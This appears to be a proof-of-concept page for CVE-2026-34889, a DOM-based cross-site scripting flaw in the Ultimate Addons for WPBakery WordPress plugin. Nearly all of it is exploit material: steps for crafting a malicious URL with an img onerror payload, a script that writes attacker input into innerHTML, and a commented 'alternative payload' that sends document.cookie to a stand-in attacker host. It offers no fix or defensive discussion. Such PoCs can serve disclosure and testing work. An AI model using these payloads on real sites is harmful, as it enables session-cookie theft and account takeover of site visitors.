CVE-2026-34889：Ultimate Addons for WPBakery DOM型XSS漏洞

<!-- PoC for CVE-2026-34889 (DOM-Based XSS) Description: Injecting a payload via a vulnerable URL parameter that is reflected in the DOM without sanitization. --> <!-- Step 1: Identify the vulnerable parameter in the URL (e.g., 'utm_content' or a custom param) --> <!-- Step 2: Craft the malicious URL --> <!-- http://target-site/page/?vulnerable_param=<img src=x onerror=alert(1)> --> <!-- Step 3: The following payload is executed in the victim's browser context --> <script> // Simulating the vulnerable sink where user input is unsafely inserted let userInput = '<img src=x onerror=alert(1)>'; document.body.innerHTML = userInput; </script> <!-- Alternative Payload to steal cookies (demonstration only) --> <!-- <svg onload=fetch('http://attacker-site/?c='+document.cookie)> -->